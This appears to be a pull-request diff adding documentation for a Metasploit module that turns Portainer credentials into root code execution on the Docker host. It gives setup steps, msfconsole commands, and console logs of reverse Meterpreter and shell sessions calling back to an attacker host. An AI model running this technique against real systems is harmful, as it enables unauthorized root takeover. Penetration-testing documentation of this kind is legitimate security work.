Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,242 @@
## Vulnerable Application

[Portainer](https://www.portainer.io/) is a web UI for managing Docker and Kubernetes
environments. It proxies the full Docker Engine API to authenticated users who have access
to a managed Docker environment.

Because the Docker daemon normally runs as **root** on the host, any authenticated Portainer
user who can reach a Docker environment can create a **privileged container that bind-mounts
the host root filesystem** (`/:/host`) and `chroot` into it. This yields code execution as
**root on the Docker host itself**, not merely inside a container - Docker API access is host
root by definition.

This module authenticates to Portainer (`POST /api/auth`) to obtain a JWT, selects a managed
Docker environment, ensures a small Linux image is present (pulling one if required), then
creates and starts a privileged container whose command drops a native Metasploit payload onto
the host through the `/host` bind mount and executes it under `chroot /host`. The payload is
launched through the host's own init (systemd) so it is decoupled from the throwaway container
and survives its removal; the container is stopped and force-removed afterwards to avoid
leaving artifacts.

This is an **abuse of intended functionality** (the design consequence of exposing the Docker
API) combined with the common misconfiguration of a network-reachable Portainer instance
protected only by weak or shared credentials. It is **not a patched CVE**; there is nothing to
"fix" in Portainer beyond restricting who is allowed to drive the Docker API. The technique was
published by Aman Singh Gill (Gill-Singh-A):

* Proof of concept: <https://github.com/Gill-Singh-A/Portainer-Remote-Root-Shell-Exploit>
* Write-up: <https://gill-singh-a.github.io/p/getting-remote-root-shell-on-devices-via-portainer/>

### Prerequisites

* The Portainer web UI must be reachable. Modern builds default to `9443/tcp` (HTTPS); older
builds and many deployments also expose `9000/tcp` (HTTP). The module defaults to `RPORT
9443` with `SSL true`; set `RPORT 9000` and `SSL false` for a plain-HTTP instance.
* Valid Portainer credentials (`USERNAME`/`PASSWORD`). This module is strictly
post-authentication - it does not brute force.
* At least one managed **Docker** environment (endpoint) where the Docker daemon runs as root
(the norm). Kubernetes-only environments are not targeted.
* The container image used to stage the payload must provide `chroot` and `/bin/sh` - the
default `alpine:latest` does. The host is expected to run systemd (essentially all modern
distributions do); non-systemd hosts still get a session via a fallback, but such a session
is tied to the container's lifetime.

### Tested against

This module has been tested successfully against the following combinations:

* Portainer `2.39.5` (HTTPS/9443) on Fedora 44 (kernel 7.1, SELinux enforcing, permissive, and
disabled)
* Portainer `2.16.2` (HTTP/9000) on CentOS 7.9.2009 (kernel 3.10)
* Portainer `2.0.1` (HTTP/9999) on Ubuntu 18.04.4 (kernel 4.15, AppArmor)

Both native Linux Meterpreter (x64/x86) and `cmd/unix` command targets were verified as
**host root** in every case.

### Setup

A vulnerable lab is a stock Portainer install pointed at the host's own Docker socket:

```
docker volume create portainer_data
docker run -d --name portainer --restart=always \
-p 9443:9443 -p 9000:9000 \
-v /var/run/docker.sock:/var/run/docker.sock \
-v portainer_data:/data \
portainer/portainer-ce:lts
```

Then:

1. Browse to `https://<host>:9443/` (or `http://<host>:9000/`) within a few minutes of first
start and create the initial **admin** account, choosing a password.
2. Because the Docker socket was bind-mounted, Portainer automatically manages the host's
`local` Docker environment, whose daemon runs as root - satisfying every prerequisite.
3. (Optional) Pre-seed the payload image to avoid a pull at exploit time:
`docker pull alpine:latest`.

## Verification Steps

1. Deploy Portainer as shown in **Setup** and create the admin account.
2. Start `msfconsole`.
3. Do: `use exploit/linux/http/portainer_authenticated_docker_rce`
4. Do: `set RHOSTS <target>`
5. Do: `set USERNAME <portainer-user>`
6. Do: `set PASSWORD <portainer-password>`
7. Do: `set LHOST <your-ip>` (and, for a plain-HTTP instance, `set RPORT 9000` and
`set SSL false`)
8. Do: `check` - it should report the Portainer version and that the credentials are valid.
9. Do: `run`
10. You should receive a Meterpreter session running as **root** on the Docker host, and the
temporary container should be removed automatically.

## Options

### USERNAME

The Portainer username to authenticate with. Required.

### PASSWORD

The password for `USERNAME`. Required.

### ENDPOINT_ID

The integer id of the Portainer environment (endpoint) to target. If left unset, the module
auto-selects the first managed Docker environment returned by `GET /api/endpoints`. Set this
when several environments exist and you want a specific one.

### CONTAINER_IMAGE

The Docker image the payload is staged in. It only needs to provide `chroot` and `/bin/sh`.
(Default: `alpine:latest`). If the image is not already present on the target it is pulled
from the configured registry; prefer an image that already exists locally to avoid registry
egress.

### CLEANUP_IMAGE

If `true`, the container image is removed during cleanup, **but only if this module pulled
it**. An image that was already present before the run is never removed. (Default: `false`)

## Targets

### Linux Dropper (Meterpreter)

The default target. A native Linux Meterpreter ELF (`ARCH_X64` or `ARCH_X86`) is dropped onto
the host via the `/host` bind mount and executed as host root under `chroot /host`. Use with a
`linux/x64/...` or `linux/x86/...` payload (default `linux/x64/meterpreter/reverse_tcp`).

### Unix Command

A secondary command target. A `cmd/unix/*` payload (default `cmd/unix/reverse_bash`) is run
under `chroot /host`. Useful when a lightweight reverse shell is preferable to a native
session.

## Scenarios

### Portainer 2.39.5 on Fedora 44 (native Meterpreter)

The payload image is already present, so no pull is needed.

```
msf6 > use exploit/linux/http/portainer_authenticated_docker_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set RHOSTS 192.168.100.10
RHOSTS => 192.168.100.10
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set PASSWORD adf691b5d2ccae1e5156305bf87cb25a
PASSWORD => adf691b5d2ccae1e5156305bf87cb25a
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set LHOST 192.168.100.5
LHOST => 192.168.100.5
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > check
[+] 192.168.100.10:9443 - The target appears to be vulnerable. Portainer 2.39.5; credentials are valid and a Docker environment is reachable
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > run

[*] Started reverse TCP handler on 192.168.100.5:4444
[+] Authenticated to Portainer, received a JWT
[*] Selected Docker environment 'local' (id 3)
[*] Delivering native payload (ELF dropper) to the host
[*] Created container 88f2e8a73fca, starting it to launch the payload on the host
[*] Sending stage (3090404 bytes) to 192.168.100.10
[*] Meterpreter session 1 opened (192.168.100.5:4444 -> 192.168.100.10:51276) at 2026-08-03 20:32:52 +0530
[+] Removed container 88f2e8a73fca

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : fedora
OS : Fedora 44 (Linux 7.1.5-200.fc44.x86_64)
Architecture : x64
Meterpreter : x64/linux
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
cat /proc/1/comm
systemd
ps -o pid,comm -p 1
PID COMMAND
1 systemd
```

`PID 1` on the host is the host's own `systemd`, confirming the session is on the Docker host
and not inside the (already removed) container.

### Portainer 2.16.2 on CentOS 7.9 (auto image pull + CLEANUP_IMAGE)

Here `alpine:latest` is not present, so the module pulls it, and `CLEANUP_IMAGE true` removes
that pulled image during cleanup.

```
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set RHOSTS 203.0.113.10
RHOSTS => 203.0.113.10
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set RPORT 9000
RPORT => 9000
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set SSL false
SSL => false
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set PASSWORD adf691b5d2ccae1e5156305bf87cb25a
PASSWORD => adf691b5d2ccae1e5156305bf87cb25a
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set CLEANUP_IMAGE true
CLEANUP_IMAGE => true
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set LHOST 192.0.2.5
LHOST => 192.0.2.5
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > check
[+] 203.0.113.10:9000 - The target appears to be vulnerable. Portainer 2.16.2; credentials are valid and a Docker environment is reachable
msf6 exploit(linux/http/portainer_authenticated_docker_rce) > run

[*] Started reverse TCP handler on 192.0.2.5:4444
[+] Authenticated to Portainer, received a JWT
[*] Selected Docker environment 'local' (id 2)
[*] Image 'alpine:latest' not present, attempting to pull it (this may take a while)
[*] Delivering native payload (ELF dropper) to the host
[*] Created container 010bd1084b98, starting it to launch the payload on the host
[*] Sending stage (3090404 bytes) to 203.0.113.10
[*] Meterpreter session 1 opened (192.0.2.5:4444 -> 203.0.113.10:34962) at 2026-08-03 18:29:33 +0530
[+] Removed container 010bd1084b98
[+] Removed image 'alpine:latest' (pulled by this module)

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : centos-docker-host
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.88.1.el7.centos.plus.x86_64)
Architecture : x64
Meterpreter : x64/linux
```

## Limitations

* Requires valid Portainer credentials and a managed Docker environment whose daemon runs as
root (the default). It does not work against Kubernetes-only environments.
* Delivering a native Meterpreter session assumes the host can execute the dropped ELF. On
hosts that run systemd (essentially all mainstream distributions) the session is decoupled
from the throwaway container and survives its removal. On non-systemd hosts the payload is
launched with `setsid` as a best-effort fallback and may be terminated when the container is
removed; use the **Unix Command** target there.
* The module drops an ELF to disk (briefly) and creates a container, so it generates
`ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, and `CONFIG_CHANGES`. The container is always removed;
the pulled image is removed only when `CLEANUP_IMAGE` is set and the module pulled it.
Loading